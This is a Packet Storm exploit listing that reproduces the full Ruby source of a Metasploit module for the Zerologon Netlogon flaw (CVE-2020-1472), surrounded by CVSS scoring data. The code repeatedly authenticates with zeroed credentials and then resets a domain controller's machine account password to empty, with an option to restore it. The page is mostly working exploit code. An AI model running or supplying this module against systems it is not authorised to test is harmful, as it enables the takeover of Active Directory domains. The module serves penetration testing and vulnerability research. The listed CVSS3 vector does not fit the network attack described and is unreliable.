Lucene search

K
packetstormSpencer McIntyre, Tom Tervoort, Dirk-jan Mollema, metasploit.comPACKETSTORM:180777
HistoryAug 31, 2024 - 12:00 a.m.

Netlogon Weak Cryptographic Authentication

2024-08-3100:00:00
Spencer McIntyre, Tom Tervoort, Dirk-jan Mollema, metasploit.com
packetstormsecurity.com
27
netlogon
authentication
vulnerability
reset
machine account
password
service instability
active directory
domain controller
static initialization vector
implementation flaw
metasploit module
zero-logon
aes
zerologon
security properties
openssl
digest
md4
authorization
restore password
active directory
secura
rapid7
cve-2020-1472

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

CVSS3

5.5

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

AI Score

7.7

Confidence

Low

EPSS

0.422

Percentile

97.4%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'windows_error'  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Remote::DCERPC  
include Msf::Exploit::Remote::SMB::Client  
include Msf::Auxiliary::Report  
  
CheckCode = Exploit::CheckCode  
Netlogon = RubySMB::Dcerpc::Netlogon  
EMPTY_SHARED_SECRET = OpenSSL::Digest.digest('MD4', '')  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Netlogon Weak Cryptographic Authentication',  
'Description' => %q{  
A vulnerability exists within the Netlogon authentication process where the security properties granted by AES  
are lost due to an implementation flaw related to the use of a static initialization vector (IV). An attacker  
can leverage this flaw to target an Active Directory Domain Controller and make repeated authentication attempts  
using NULL data fields which will succeed every 1 in 256 tries (~0.4%). This module leverages the vulnerability  
to reset the machine account password to an empty string, which will then allow the attacker to authenticate as  
the machine account. After exploitation, it's important to restore this password to it's original value. Failure  
to do so can result in service instability.  
},  
'Author' => [  
'Tom Tervoort', # original vulnerability details  
'Spencer McIntyre', # metasploit module  
'Dirk-jan Mollema' # password restoration technique  
],  
'Notes' => {  
'AKA' => ['Zerologon'],  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]  
},  
'License' => MSF_LICENSE,  
'Actions' => [  
[ 'REMOVE', { 'Description' => 'Remove the machine account password' } ],  
[ 'RESTORE', { 'Description' => 'Restore the machine account password' } ]  
],  
'DefaultAction' => 'REMOVE',  
'References' => [  
[ 'CVE', '2020-1472' ],  
[ 'URL', 'https://www.secura.com/blog/zero-logon' ],  
[ 'URL', 'https://github.com/SecuraBV/CVE-2020-1472/blob/master/zerologon_tester.py' ],  
[ 'URL', 'https://github.com/dirkjanm/CVE-2020-1472/blob/master/restorepassword.py' ]  
]  
)  
)  
  
register_options(  
[  
OptPort.new('RPORT', [ false, 'The netlogon RPC port' ]),  
OptString.new('NBNAME', [ true, 'The server\'s NetBIOS name' ]),  
OptString.new('PASSWORD', [ false, 'The password to restore for the machine account (in hex)' ], conditions: %w[ACTION == RESTORE]),  
]  
)  
end  
  
def peer  
"#{rhost}:#{@dport || datastore['RPORT']}"  
end  
  
def bind_to_netlogon_service  
@dport = datastore['RPORT']  
if @dport.nil? || @dport == 0  
@dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], Netlogon::UUID, '1.0', 'ncacn_ip_tcp')  
fail_with(Failure::NotFound, 'Could not determine the RPC port used by the Microsoft Netlogon Server') unless @dport  
end  
  
# Bind to the service  
handle = dcerpc_handle(Netlogon::UUID, '1.0', 'ncacn_ip_tcp', [@dport])  
print_status("Binding to #{handle} ...")  
dcerpc_bind(handle)  
print_status("Bound to #{handle} ...")  
end  
  
def check  
bind_to_netlogon_service  
  
status = nil  
2000.times do  
netr_server_req_challenge  
response = netr_server_authenticate3  
  
break if (status = response.error_status) == 0  
  
windows_error = ::WindowsError::NTStatus.find_by_retval(response.error_status.to_i).first  
# Try again if the Failure is STATUS_ACCESS_DENIED, otherwise something has gone wrong  
next if windows_error == ::WindowsError::NTStatus::STATUS_ACCESS_DENIED  
  
fail_with(Failure::UnexpectedReply, windows_error)  
end  
  
return CheckCode::Detected unless status == 0  
  
CheckCode::Vulnerable  
end  
  
def run  
case action.name  
when 'REMOVE'  
action_remove_password  
when 'RESTORE'  
action_restore_password  
end  
end  
  
def action_remove_password  
fail_with(Failure::Unknown, 'Failed to authenticate to the server by leveraging the vulnerability') unless check == CheckCode::Vulnerable  
  
print_good('Successfully authenticated')  
  
report_vuln(  
host: rhost,  
port: @dport,  
name: name,  
sname: 'dcerpc',  
proto: 'tcp',  
refs: references,  
info: "Module #{fullname} successfully authenticated to the server without knowledge of the shared secret"  
)  
  
response = netr_server_password_set2  
status = response.error_status.to_i  
fail_with(Failure::UnexpectedReply, "Password change failed with NT status: 0x#{status.to_s(16)}") unless status == 0  
  
print_good("Successfully set the machine account (#{datastore['NBNAME']}$) password to: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (empty)")  
end  
  
def action_restore_password  
fail_with(Failure::BadConfig, 'The RESTORE action requires the PASSWORD option to be set') if datastore['PASSWORD'].blank?  
fail_with(Failure::BadConfig, 'The PASSWORD option must be in hex') if /^([0-9a-fA-F]{2})+$/ !~ datastore['PASSWORD']  
password = [datastore['PASSWORD']].pack('H*')  
  
bind_to_netlogon_service  
client_challenge = OpenSSL::Random.random_bytes(8)  
  
response = netr_server_req_challenge(client_challenge: client_challenge)  
session_key = Netlogon.calculate_session_key(EMPTY_SHARED_SECRET, client_challenge, response.server_challenge)  
ppp = Netlogon.encrypt_credential(session_key, client_challenge)  
  
response = netr_server_authenticate3(client_credential: ppp)  
fail_with(Failure::NoAccess, 'Failed to authenticate (the machine account password may not be empty)') unless response.error_status == 0  
  
new_password_data = ("\x00" * (512 - password.length)) + password + [password.length].pack('V')  
response = netr_server_password_set2(  
authenticator: Netlogon::NetlogonAuthenticator.new(  
credential: Netlogon.encrypt_credential(session_key, [ppp.unpack1('Q') + 10].pack('Q')),  
timestamp: 10  
),  
clear_new_password: Netlogon.encrypt_credential(session_key, new_password_data)  
)  
status = response.error_status.to_i  
fail_with(Failure::UnexpectedReply, "Password change failed with NT status: 0x#{status.to_s(16)}") unless status == 0  
  
print_good("Successfully set machine account (#{datastore['NBNAME']}$) password")  
end  
  
def netr_server_authenticate3(client_credential: "\x00" * 8)  
nrpc_call('NetrServerAuthenticate3',  
primary_name: "\\\\#{datastore['NBNAME']}",  
account_name: "#{datastore['NBNAME']}$",  
secure_channel_type: :ServerSecureChannel,  
computer_name: datastore['NBNAME'],  
client_credential: client_credential,  
flags: 0x212fffff)  
end  
  
def netr_server_password_set2(authenticator: nil, clear_new_password: "\x00" * 516)  
authenticator ||= Netlogon::NetlogonAuthenticator.new(credential: "\x00" * 8, timestamp: 0)  
nrpc_call('NetrServerPasswordSet2',  
primary_name: "\\\\#{datastore['NBNAME']}",  
account_name: "#{datastore['NBNAME']}$",  
secure_channel_type: :ServerSecureChannel,  
computer_name: datastore['NBNAME'],  
authenticator: authenticator,  
clear_new_password: clear_new_password)  
end  
  
def netr_server_req_challenge(client_challenge: "\x00" * 8)  
nrpc_call('NetrServerReqChallenge',  
primary_name: "\\\\#{datastore['NBNAME']}",  
computer_name: datastore['NBNAME'],  
client_challenge: client_challenge)  
end  
  
def nrpc_call(name, **kwargs)  
request = Netlogon.const_get("#{name}Request").new(**kwargs)  
  
begin  
raw_response = dcerpc.call(request.opnum, request.to_binary_s)  
rescue Rex::Proto::DCERPC::Exceptions::Fault  
fail_with(Failure::UnexpectedReply, "The #{name} Netlogon RPC request failed")  
end  
  
Netlogon.const_get("#{name}Response").read(raw_response)  
end  
end  
`

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

CVSS3

5.5

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

AI Score

7.7

Confidence

Low

EPSS

0.422

Percentile

97.4%